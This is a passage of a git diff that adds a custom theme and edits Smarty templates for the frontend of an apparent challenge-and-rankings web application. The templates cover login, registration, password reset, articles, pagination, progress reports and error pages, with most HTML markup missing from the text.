+ {/if} + {if (isset($rankings))} + + + + + + + {foreach from=$rankings item=foo} + + + + + + {/foreach} +
UsernameChallenges ClearedRank
{$foo['username']}{$foo['count']}{$foo['rank']}
+ {/if} +
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/readarticle.tpl b/user/themes/custom-theme/view/readarticle.tpl new file mode 100755 index 00000000..ece43cff --- /dev/null +++ b/user/themes/custom-theme/view/readarticle.tpl @@ -0,0 +1,13 @@ +{include file="_header_frontend.tpl"} + + + + + + + +
+

{$article->title}

+
{$article->date_posted|date_format}
+
{$article->content}
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/register_user.tpl b/user/themes/custom-theme/view/register_user.tpl new file mode 100755 index 00000000..8c53b188 --- /dev/null +++ b/user/themes/custom-theme/view/register_user.tpl @@ -0,0 +1,45 @@ +{include file="_header_frontend.tpl"} + +
+
+

Register User

+

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+
+
+
+
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/resetpw.tpl b/user/themes/custom-theme/view/resetpw.tpl new file mode 100755 index 00000000..0998ddcb --- /dev/null +++ b/user/themes/custom-theme/view/resetpw.tpl @@ -0,0 +1,28 @@ +{include file="_header_frontend.tpl"} +
+
+

Reset Your Password?

+


+ +
+
+ + + + + + + + + + + + + +




+

+
+
+
+
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/showChallenge.tpl b/user/themes/custom-theme/view/showChallenge.tpl new file mode 100755 index 00000000..add0d4a4 --- /dev/null +++ b/user/themes/custom-theme/view/showChallenge.tpl @@ -0,0 +1,19 @@ +{include file="_header_frontend.tpl"} +
+
+

{$challenge->title}

+

+ + + + + {if isset($is_logged_in) && isset($is_allowed)} + + + + {/if} +
{$challenge->description}

+

Try it!

+
+
+{include file="_footer_frontend.tpl"} \ No newline at end of file diff --git a/user/themes/custom-theme/view/trychallenge.tpl b/user/themes/custom-theme/view/trychallenge.tpl new file mode 100755 index 00000000..353145c0 --- /dev/null +++ b/user/themes/custom-theme/view/trychallenge.tpl @@ -0,0 +1,34 @@ + + diff --git a/user/themes/custom-theme/view/user_login.tpl b/user/themes/custom-theme/view/user_login.tpl new file mode 100755 index 00000000..1a9cd09e --- /dev/null +++ b/user/themes/custom-theme/view/user_login.tpl @@ -0,0 +1,14 @@ +
+ +
\ No newline at end of file diff --git a/view/_footer_frontend.tpl b/view/_footer_frontend.tpl index a8d96092..46b609c4 100755 --- a/view/_footer_frontend.tpl +++ b/view/_footer_frontend.tpl @@ -1,35 +1,37 @@ -
- {if isset($is_logged_in) && isset($challenge_menu)} - {if $challenge_menu|@count > 0} - - - {/if} - {else} - {include file="user_login.tpl"} - {/if} -
-
- - + + + + {if isset($is_logged_in) && isset($challenge_menu)} + {if $challenge_menu|@count > 0} + + +{/if} +{else} + {include file="user_login.tpl"} +{/if} + + + +
+ + diff --git a/view/_header_frontend.tpl b/view/_header_frontend.tpl index 137d5d4a..5f3c9e4b 100755 --- a/view/_header_frontend.tpl +++ b/view/_header_frontend.tpl @@ -7,6 +7,18 @@ + {literal} + + + + {/literal}
@@ -31,28 +43,27 @@
{/if}
- {if isset($main_menu)} - - -
{/if}
+
{include file="_usermessage.tpl"}
diff --git a/view/_pagination_frontend.tpl b/view/_pagination_frontend.tpl index e308ec8a..1e479364 100755 --- a/view/_pagination_frontend.tpl +++ b/view/_pagination_frontend.tpl @@ -4,12 +4,12 @@ {if $pagination['page'] > 1} {if isset($smarty.get.search)&&isset($smarty.get.category)} - Previous + Previous {else} Previous {/if} {else} - Previous + Previous {/if} {if $pagination['lastpage'] < 7 + ($pagination['stages']*2)} @@ -122,12 +122,12 @@ {if $pagination['page'] < ($counter - 1)} {if isset($smarty.get.search)&&isset($smarty.get.category)} - Next + Next {else} - Next + Next {/if} {else} - Next + Next {/if} {/if} \ No newline at end of file diff --git a/view/challenge_list.tpl b/view/challenge_list.tpl index 263d14a3..70911a16 100755 --- a/view/challenge_list.tpl +++ b/view/challenge_list.tpl @@ -1,7 +1,7 @@ {include file="_header_frontend.tpl"}
-

Challenges

+

Challenges


    {foreach from=$list key=class_name item=class_challenges} @@ -11,7 +11,7 @@ {foreach from=$class_challenges item=foo}
  • {if $foo['availability'] == public || $foo['class'] == true} - + {/if} {$foo['title']} diff --git a/view/errors/403.html b/view/errors/403.html new file mode 100755 index 00000000..10349cc7 --- /dev/null +++ b/view/errors/403.html @@ -0,0 +1,30 @@ + + + + + + 403 - Access Denied + + + + + + +
    + +
    + logo + +

    Access Denied.

    +

    Do you want to return to the main page?

    + + Access Denied (403). + +

    + + + diff --git a/view/errors/404.html b/view/errors/404.html new file mode 100755 index 00000000..ecc08359 --- /dev/null +++ b/view/errors/404.html @@ -0,0 +1,30 @@ + + + + + + 404 - Page Not Found + + + + + + +
    + +
    + logo + +

    Sorry, the page you requested isn't here.

    +

    Do you want to return to the main page?

    + + Page Not Found (404). + +

    + + + diff --git a/view/forgotpw.tpl b/view/forgotpw.tpl index 28bc883c..4bc4e6ad 100755 --- a/view/forgotpw.tpl +++ b/view/forgotpw.tpl @@ -1,14 +1,14 @@ {include file="_header_frontend.tpl"}
    -

    Forgot Your Password?

    +

    Forgot Your Password?



    - + diff --git a/view/landingpage.tpl b/view/landingpage.tpl index 0e9846b7..2c3fdffb 100755 --- a/view/landingpage.tpl +++ b/view/landingpage.tpl @@ -3,12 +3,12 @@ {foreach from=$articles item=article} - + {/foreach}
    -

    {$article->title}

    +

    {$article->title}

    {$article->date_posted|date_format}
    {$article->content|truncate:500}
    Read More
    {$article->content|truncate:500}
    Read More
    diff --git a/view/progressreport.tpl b/view/progressreport.tpl index eebee8bd..d799f4df 100755 --- a/view/progressreport.tpl +++ b/view/progressreport.tpl @@ -1,15 +1,16 @@ {include file="_header_frontend.tpl"}
    -

    Progress Report

    +

    Progress Report


    {if isset($search_box)}
    + - + @@ -19,24 +20,28 @@ {/if} {if (isset($data))} -

    + {foreach from=$data key=class item=progress} + +
    +

    {$class}

    - - - - + + + + - {foreach from=$data key=class item=progress} -

    {$class}

    - {foreach from=$progress item=foo} + {foreach from=$progress key=index item=foo} - - - - + + + + + {/foreach} + {/foreach} +
    TitleNo. Of AttemptsClearedCleared On Title No. Of Attempts Cleared Cleared On
    {$foo['title']}{if $foo['attempts'] == 0}Unattempted{else}{$foo['attempts']}{/if}{if $foo['attempts'] == 0}Not Cleared{elseif $foo['cleared'] == false}Not Cleared{else}Cleared{/if}{if $foo['cleared'] == true}{$foo['cleared_on']}{else}Not Cleared{/if}{$foo['title']}{if $foo['attempts'] == 0} Unattempted {else}{$foo['attempts']}{/if}{if $foo['attempts'] == 0} Not Cleared {elseif $foo['cleared'] == false} Not Cleared {else} Cleared {/if}{if $foo['cleared'] == true}{$foo['cleared_on']}{else} Not Cleared {/if}
    {/if}
    diff --git a/view/rankings.tpl b/view/rankings.tpl index c85d16a1..0880be3f 100755 --- a/view/rankings.tpl +++ b/view/rankings.tpl @@ -1,15 +1,16 @@ {include file="_header_frontend.tpl"}
    -

    Rankings

    +

    Rankings


    {if isset($is_logged_in)}
    + - + diff --git a/view/register_user.tpl b/view/register_user.tpl index c4930809..274a036d 100755 --- a/view/register_user.tpl +++ b/view/register_user.tpl @@ -2,42 +2,42 @@
    -

    Register User

    +

    Register User


    - - - - + + + + + {$i = 1} {foreach from=$rankings item=foo} - - + + {/foreach}
    UsernameChallenges ClearedRankTotal Points Username Challenges Cleared Rank Total Points
    {$foo['username']} {$foo['count']}{$foo['rank']}{$foo['score']}{$i++}{$foo['score']}
    diff --git a/view/readarticle.tpl b/view/readarticle.tpl index c8ba17d2..83b64247 100755 --- a/view/readarticle.tpl +++ b/view/readarticle.tpl @@ -3,7 +3,7 @@
    -

    {$article->title}

    +

    {$article->title}

    {$article->date_posted|date_format}
    - + - + - + - + - + - - - + + + + +
    -

    -

    diff --git a/view/resetpw.tpl b/view/resetpw.tpl index 1e8d7484..82c879dd 100755 --- a/view/resetpw.tpl +++ b/view/resetpw.tpl @@ -1,19 +1,19 @@ {include file="_header_frontend.tpl"}
    -

    Reset Your Password?

    +

    Reset Your Password?



    - + - + diff --git a/view/showChallenge.tpl b/view/showChallenge.tpl index 530128a6..8dfcaa4e 100755 --- a/view/showChallenge.tpl +++ b/view/showChallenge.tpl @@ -10,7 +10,7 @@ {if isset($is_logged_in) && isset($is_allowed)} {/if} diff --git a/view/user_login.tpl b/view/user_login.tpl index 24184a11..50dfbe42 100755 --- a/view/user_login.tpl +++ b/view/user_login.tpl @@ -1,14 +1,15 @@
    - +
    - Login Details - + Login Details + - +
    - Forgot your password
    - Create an account + Forgot your password
    + Create an account
    -
    \ No newline at end of file + + \ No newline at end of file




    -

    Try it!

    +

    Try it!